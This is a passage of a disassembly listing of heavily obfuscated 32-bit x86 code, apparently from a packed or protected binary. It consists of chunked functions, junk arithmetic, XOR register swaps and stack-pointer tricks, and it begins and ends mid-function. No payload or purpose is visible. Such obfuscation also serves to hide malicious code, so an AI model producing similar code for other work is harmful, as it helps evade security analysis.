		mov	ebx, 68F22EF1h
		add	ebp, ebx
		pop	ebx
		add	ebp, edx
		sub	ebp, 68F22EF1h
		pop	edx
		not	ebp
		dec	ebp
		jns	loc_5A8ACE
		jmp	loc_5A91DD
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A3FA8:				; CODE XREF: sub_5992DA+3622j
		xchg	edx, [esp+0]
		jmp	loc_59F1A0
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3FB0:				; CODE XREF: sub_5AA2D1-3770j
		sub	ebx, 2B2606BDh
		sub	ebx, ecx
		add	ebx, 2B2606BDh
		pop	ecx
		add	ebx, 2B111881h
		sub	ebx, eax
		sub	ebx, 2B111881h
		add	ebx, 1BBE1CCFh
		add	ebx, 4177C40h
		pop	eax
		push	7909h
		mov	[esp-18h+arg_14], edx
		mov	edx, 337D2E88h
		not	edx
		jmp	loc_59A057
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A3FEE:				; CODE XREF: sub_59D6B8+12FEj
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	ecx
		jmp	loc_5A5CAD
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A3FFE:				; CODE XREF: sub_5AA2D1-757Dj
		add	bh, 0D7h
		jo	sub_5ACB83
		jmp	loc_5A0DBA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5A400C:				; CODE XREF: sub_5ABB65-981Ej
		add	ebx, ebp
		pop	ebp
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		push	esi
		push	esp
		jmp	loc_5A481C
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF46F


loc_5A4020:				; CODE XREF: sub_5AF46F-E8ECj
		pop	eax
		pop	[esp+4+var_4]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AF46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A402E:				; CODE XREF: sub_5A9EBF+51D4j
		push	eax
		jmp	loc_5AF5F0
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A4034:				; CODE XREF: sub_5A6BBC-8191j
		pop	[esp+4+var_4]
		jmp	loc_5A6384
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE824


loc_5A403C:				; CODE XREF: sub_5AE824-8337j
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		or	[esp-4+arg_0], al
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AE824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A4051:				; CODE XREF: sub_59A479+144D7j
		add	[esp+8+var_4], 6C441981h
		pop	edi
		jmp	loc_5A3382
; END OF FUNCTION CHUNK	FOR sub_59A479

; =============== S U B	R O U T	I N E =======================================



sub_5A405F	proc near		; CODE XREF: sub_5A503A-2EEAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 005993FC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059A340 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2878 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7615 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7803 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005ACD68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE783 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AF051 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 76891ACAh
		or	ecx, edi
		mov	edi, [esp+4+var_4]
		push	edx
		jmp	loc_5AF051
sub_5A405F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A4075:				; CODE XREF: sub_5A477C-7C3Cj
		sub	ebp, edi
		pop	edi
		jmp	loc_5AB9CB
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A407D:				; CODE XREF: sub_5A16B8-7431j
		neg	edx
		xor	edx, 3CC83678h
		xor	edx, 2C5621FEh
		jmp	loc_59F140
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_5A4090:				; CODE XREF: sub_59F1C3-46C9j
					; sub_5AFD37-12485j
		pop	esp
		jmp	loc_5ADA42
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28E3


loc_5A4096:				; CODE XREF: sub_5A28E3+DB5Fj
		mov	[esp+0], ebx
		pop	edx
		push	edx
		push	edi
		mov	edi, 48E53233h
		add	[esp+4], edi
		pop	edi
		pop	eax
		jmp	loc_5AFC57
; END OF FUNCTION CHUNK	FOR sub_5A28E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A40AC:				; CODE XREF: sub_5A63DC-9952j
		sub	esi, 4FF45313h
		push	[esp+8+var_8]
		pop	ebx
		jmp	sub_5996E4
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A40BB:				; CODE XREF: sub_59D18A+5C1Cj
		pop	esp
		push	esi
		jmp	loc_5A9049
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A40C2:				; CODE XREF: sub_5ABEF6-77BBj
		shr	ebp, 8
		push	ecx
		jmp	loc_5A2C8A
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3947


loc_5A40CB:				; CODE XREF: sub_5A3947+Fj
		add	esp, 4
		push	edi
		mov	edi, 1
		sub	ebx, edi
		pop	edi
		add	ebx, 0B66ECCD8h
		add	eax, 2FB51462h
		add	eax, ebx
		sub	eax, 2FB51462h
		pop	ebx
		and	eax, 76320A19h
		not	eax
		push	ebp
		mov	ebp, 292A12DAh
		or	eax, ebp
		pop	ebp
		push	esi
		push	67D70488h
		pop	esi
		and	eax, esi
		pop	esi
		jmp	loc_59D51F
; END OF FUNCTION CHUNK	FOR sub_5A3947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A4109:				; CODE XREF: sub_5B01F7-8E82j
		mov	[esp+18h+var_18], eax
		push	28F6296Dh
		pop	eax
		dec	eax
		jle	loc_5A9D7A
		xor	eax, 4B7820B6h
		jg	loc_5A8878
		shr	eax, 2
		jnp	loc_5AF60D
		jg	loc_59E861
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4133:				; CODE XREF: sub_5992DA+12671j
		mov	edx, ebp
		pop	ebp
		sub	edx, ebp
		push	[esp+30h+var_32+2]
		jmp	loc_5A7DBE
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A4140:				; CODE XREF: sub_5B01F7-108EDj
		sub	ecx, 2A1BB1DCh
		add	eax, ecx
		pop	ecx
		pop	ecx
		add	ecx, 71AA6FBDh
		add	ecx, eax
		sub	ecx, 71AA6FBDh
		jmp	loc_5A2F3B
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A415D:				; CODE XREF: sub_5AA2D1+2211j
		xchg	edi, [esp-6+arg_0+2]
		pop	esp
		push	[esp-0Ah+arg_4+2]
		pop	ecx
		jmp	loc_59C446
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F336


loc_5A416A:				; CODE XREF: sub_59F336+3j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59F336

; =============== S U B	R O U T	I N E =======================================



sub_5A416F	proc near		; CODE XREF: sub_5AA2D1+6AEj

; FUNCTION CHUNK AT 0059E2F9 SIZE 0000000D BYTES

		push	ebp
		jmp	loc_59E2F9
sub_5A416F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5956


loc_5A4175:				; CODE XREF: sub_5AC803-9F3Aj
					; sub_5A5956+Dj
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp+0]
		jmp	loc_59F943
; END OF FUNCTION CHUNK	FOR sub_5A5956
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A418D:				; CODE XREF: sub_5992DA-1C8j
		push	cx
		push	6A72h
		mov	[esp+6+var_6], edx
		push	eax
		mov	ah, 5
		mov	dh, ah
		mov	eax, [esp+0Ah+var_C+2]
		jmp	loc_59A01F
; ---------------------------------------------------------------------------


loc_5A41A4:				; CODE XREF: sub_5992DA+1E4j
		add	esp, 4
		pop	eax
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_5AD698
		push	dword ptr [edi+1Ch]
		push	[esp+4+var_6+2]
		push	dword ptr [esp]
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		push	40ACh
		jmp	loc_5A6B27
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A41EA:				; CODE XREF: sub_5AA2D1-8DF1j
		pop	eax
		sub	edi, 0D770973h
		add	edi, esi
		add	edi, 0D770973h
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_59B5D7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A4207:				; CODE XREF: sub_5A477C+7327j
		add	edi, 633E61DEh
		push	esi
		push	ebx
		push	2C257386h
		pop	ebx
		sub	ebx, 0E8936467h
		mov	esi, ebx
		pop	ebx
		add	esi, 214D1A6Dh
		jmp	loc_5A8085
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A4229:				; CODE XREF: sub_59D6B8+8BBAj
		push	edx
		push	2D332446h
		push	[esp+14h+var_14]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AC250
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4A0


loc_5A4241:				; CODE XREF: sub_59B4A0+8AE2j
		xor	esi, 0A099B09Fh
		sub	eax, esi
		pop	esi
		pop	esi
		pop	edi
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		jmp	loc_5AC85F
; END OF FUNCTION CHUNK	FOR sub_59B4A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A425F:				; CODE XREF: sub_5A118F-22D1j
		push	edx
		mov	dh, 2Ch
		mov	bl, dh
		pop	edx
		jmp	loc_5A1718
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A426A:				; CODE XREF: sub_5AA810-33Dj
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		add	ecx, 1C40856h
		add	ecx, 45AB768Bh
		jnb	loc_59E31B
		push	390Ch
		jmp	loc_5995A1
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------


loc_5A428F:				; CODE XREF: sdfs____:005AA4ACj
		mov	[esp], edx
		jmp	loc_5A1925
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5A4297:				; CODE XREF: sub_5A3992+34FEj
		add	eax, 4
		push	5F19h
		mov	[esp+10h+var_10], eax
		push	[esp+10h+var_C]
		pop	eax
		pop	[esp+10h+var_10]
		pop	esp
		add	ebx, 201A02C9h
		add	ebx, ebp
		jmp	loc_5A1375
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A42BA:				; CODE XREF: sub_5AA2D1+3534j
		add	edx, 4
		xchg	edx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 2
		push	ebx
		jmp	loc_5A6235
; ---------------------------------------------------------------------------


loc_5A42DB:				; CODE XREF: sub_5A81C4-A85Aj
					; sub_5AA2D1-96FEj
		push	4FC0h
		mov	[esp-28h+arg_24], ecx
		jmp	loc_59F93C
; ---------------------------------------------------------------------------


loc_5A42E8:				; CODE XREF: sub_5AA2D1-E784j
		push	[esp-4+arg_0]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_5B02E3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A42F4:				; CODE XREF: sub_5992DA+5B45j
		mov	ch, al
		pop	eax
		push	dword ptr [esp+0]
		mov	edx, [esp+4+var_6+2]
		jmp	loc_5AF155
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4302:				; CODE XREF: sub_5AA2D1+580Dj
		pop	eax
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		jmp	loc_5A5C2C
; ---------------------------------------------------------------------------


loc_5A4311:				; CODE XREF: sub_5AA2D1+344Dj
		mov	ebx, edx
		jmp	loc_5A26F4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A4318:				; CODE XREF: sub_5ADD33-964Dj
		xchg	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		jmp	loc_5A6397
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A432C:				; CODE XREF: sub_5A503A:loc_5A21DCj
		not	edi
		or	edi, 3FA070FDh
		sub	edi, 347DB662h
		jmp	loc_5AC9F5
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A433F:				; CODE XREF: sub_5A477C-90FEj
		xor	edx, ecx
		pop	ecx
		add	edi, edx
		push	[esp-0Ch+arg_8]
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp-10h+arg_C]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], esi
		xor	esi, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		jmp	loc_5A70B9
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A437A:				; CODE XREF: sub_5A9D64+1EA5j
		push	edi
		mov	edi, 328774D6h
		jmp	loc_59B11A
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4385:				; CODE XREF: sub_5AA2D1-3E0Dj
		sub	edx, esi
		pop	esi
		add	edx, esi
		push	esi
		mov	esi, 135D2CA3h
		shl	esi, 8
		dec	esi
		neg	esi
		add	esi, 0A42FF149h
		add	edx, esi
		pop	esi
		add	edx, 8A33BFBh
		mov	esi, [esp-8+arg_4]
		jmp	sub_5A0CD9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4A0


loc_5A43AD:				; CODE XREF: sub_59B4A0+Cj
		mov	edi, 4
		push	ecx
		mov	ecx, 6E195CD5h
		add	eax, 216E039Bh
		sub	eax, ecx
		push	esi
		mov	esi, 216E039Bh
		sub	eax, esi
		pop	esi
		pop	ecx
		add	eax, edi
		push	esi
		mov	esi, 6E195CD5h
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 37A6F22h
		add	eax, edx
		pop	edx
		add	eax, 0ACC7D47h
		add	eax, esi
		sub	eax, 0ACC7D47h
		push	78C2h
		jmp	loc_5AAA38
; END OF FUNCTION CHUNK	FOR sub_59B4A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A43F8:				; CODE XREF: sub_5AF2D9-571j
		push	edx
		jmp	loc_5AE38A
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A43FE:				; CODE XREF: sub_5AA2D1+273Dj
		add	eax, ebx
		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		push	ebx
		jmp	loc_59A5EF
; ---------------------------------------------------------------------------


loc_5A440D:				; CODE XREF: sub_5AA2D1+5C1Dj
		push	edx
		mov	edx, esp
		jmp	loc_59ECF9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5A4415:				; CODE XREF: sub_5AD993+17BDj
		shr	ebx, 3
		sub	ebx, 0BAB4CF7Eh
		xor	ebp, ebx
		pop	ebx
		neg	ebp
		push	2269h
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 0D1B35BF3h
		add	ebp, 425B52BFh
		add	ebp, ebx
		push	eax
		mov	eax, 425B52BFh
		sub	ebp, eax
		pop	eax
		pop	ebx
		add	eax, 52D50819h
		add	eax, ebp
		sub	eax, 52D50819h
		pop	ebp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	16FEh
		jmp	loc_59FF4F
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A4462:				; CODE XREF: sub_5A0FFF+52C0j
		neg	ebp
		jnz	loc_59B96B
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4E7D1929h
		pop	ebx


loc_5A4474:				; CODE XREF: sub_5A695A+3j
		add	ebx, 4
		jmp	loc_5AE763
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3D5B


loc_5A447F:				; CODE XREF: sub_5A3D5B+85j
		push	0FABh
		mov	[esp+0], eax
		mov	eax, ebx
		sub	esp, 4
		mov	[esp+4+var_4], eax
		pop	edx
		pop	eax
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_59F46E
; END OF FUNCTION CHUNK	FOR sub_5A3D5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A44A2:				; CODE XREF: sdfs____:005A1694j
					; sub_59C979+9090j
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_5AD52D
; ---------------------------------------------------------------------------


loc_5A44B0:				; CODE XREF: sub_59C979+11785j
		pop	esi
		jmp	loc_59F634
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A44B6:				; CODE XREF: sub_5A6BBC-6D85j
					; sub_5AC803-B636j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5AE1E4
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A44C1:				; CODE XREF: sdfs____:0059ED6Cj
					; sub_5AA2D1+2F10j
		add	al, 26h
		push	bx
		mov	bh, 9Bh
		jmp	loc_59FE61
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A44CC:				; CODE XREF: sub_5A16B8+4F00j
		add	ebx, ecx
		jmp	loc_5A5D4A
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A44D3:				; CODE XREF: sub_59F02F+F52j
		xor	[esp+10h+var_10], ebp
		jmp	loc_59B939
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5A44DB:				; CODE XREF: sub_5AD213-2011j
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_59F73A
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A44ED:				; CODE XREF: sub_5AA2D1-20A0j
					; sub_59C979+BD7Fj
		shr	edi, 8
		push	edi
		push	eax
		pop	edi
		pop	eax
		not	eax
		xchg	eax, edi
		neg	edi
		jmp	loc_5A0AC8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_5A44FE:				; CODE XREF: sub_599A6F+11967j
		mov	dl, 0B9h
		jmp	sub_5AAFCA
; END OF FUNCTION CHUNK	FOR sub_599A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A4505:				; CODE XREF: sub_5A5EFF-4C6Cj
		sub	ebx, 115A4D7Fh
		sub	ebx, 729512C3h
		add	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 61FE1F51h
		shr	ecx, 4
		sub	ecx, 0FEC2893Dh
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		sub	edx, eax
		jmp	loc_59E63A
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4533:				; CODE XREF: sub_5AA2D1-5D16j
					; sub_5A66D6+5BB6j
		sub	[esp-2+arg_4+2], edi
		pop	edi
		sub	[esp-6+arg_4+2], 2CEC107Ch
		jmp	loc_5AB19F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A4545:				; CODE XREF: sub_5A118F+58C9j
		shl	bh, 4
		jmp	loc_5A319D
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A454D:				; CODE XREF: sub_5992DA+12831j
		pop	ecx
		push	edx
		mov	edx, 381557AFh
		add	[esp+4+arg_0], edx
		pop	edx
		sub	[esp+arg_0], esi
		sub	[esp+arg_0], 381557AFh
		pop	esi
		jmp	loc_5A67C2
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A456B:				; CODE XREF: sdfs____:005A9333j
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_5A39F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_5A457F:				; CODE XREF: sub_5A577C-482j
		pop	ebp
		add	edi, ebp
		sub	edi, 46153BA1h
		push	dword ptr [esp+0]
		mov	ebp, [esp+4+var_4]
		push	edi
		mov	edi, esp
		push	edx
		jmp	loc_5ADC1E
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5A4597:				; CODE XREF: sub_59FB1A+BD18j
		mov	ecx, [esp+0]
		jmp	loc_5A792E
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5A459F:				; CODE XREF: sub_5A809B+13j
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_5AF19A
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A45AB:				; CODE XREF: sub_59EE3E:loc_59DAA0j
		jmp	loc_5A3BB4
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A45B0:				; CODE XREF: sub_5AA2D1-7107j
		shl	ebx, 7
		jnp	loc_5A2059
		not	ebx
		jmp	loc_5A4533
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		jmp	loc_5A6D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A45C5:				; CODE XREF: sub_5AAD97+1j
					; sub_59C979+EB2Ej
		mul	ecx
		jmp	sub_59B4A0
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A45CC:				; CODE XREF: sub_5AA2D1-A391j
		shr	edx, 3
		inc	edx
		jmp	loc_59AED0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5A45D5:				; CODE XREF: sub_5A3992+7301j
		jg	loc_59DA36
		or	ebx, 238112A1h
		jmp	loc_59DF1E
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A45E6:				; CODE XREF: sub_5A9EBF-45D3j
		pop	eax
		push	eax
		xchg	ecx, [esp+0]
		not	ecx
		xchg	ecx, [esp+0]
		pop	eax
		inc	eax
		jg	loc_59AF5F
		sub	eax, 1EB6104Bh
		jo	loc_59968F
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		jmp	loc_59D995
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6F9C


loc_5A4610:				; CODE XREF: sub_5A6F9C+16j
		add	ecx, 4
		push	3810h
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		jmp	loc_59BFED
; END OF FUNCTION CHUNK	FOR sub_5A6F9C

; =============== S U B	R O U T	I N E =======================================



sub_5A4624	proc near		; CODE XREF: sub_5A2E41:loc_5A8675j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AFC78 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 520759B9h
		xor	ebx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		mov	[edx+30h], ebx
		mov	ebx, [esp+0]
		add	esp, 4
		popa
		jmp	loc_5AFC78
sub_5A4624	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFD37


loc_5A464C:				; CODE XREF: sub_5AFD37-12BE7j
		neg	ebx
		jmp	loc_5A30D2
; END OF FUNCTION CHUNK	FOR sub_5AFD37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BE17


loc_5A4653:				; CODE XREF: sub_59BE17+4D9Dj
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		mov	eax, esp
		push	edx
		jmp	sub_5A6494
; END OF FUNCTION CHUNK	FOR sub_59BE17
; ---------------------------------------------------------------------------


loc_5A4662:				; CODE XREF: sdfs____:0059A368j
		add	edx, 64B2836h
		jmp	loc_59D611
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5A466D:				; CODE XREF: sub_5A10E3+EEA6j
		inc	edi
		sub	edi, 4138EB11h
		add	ebx, edi
		pop	edi
		add	ebx, edi
		jmp	loc_5A1E80
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A467E:				; CODE XREF: sub_5AA2D1-8EA8j
		mov	ax, 0FFFFh
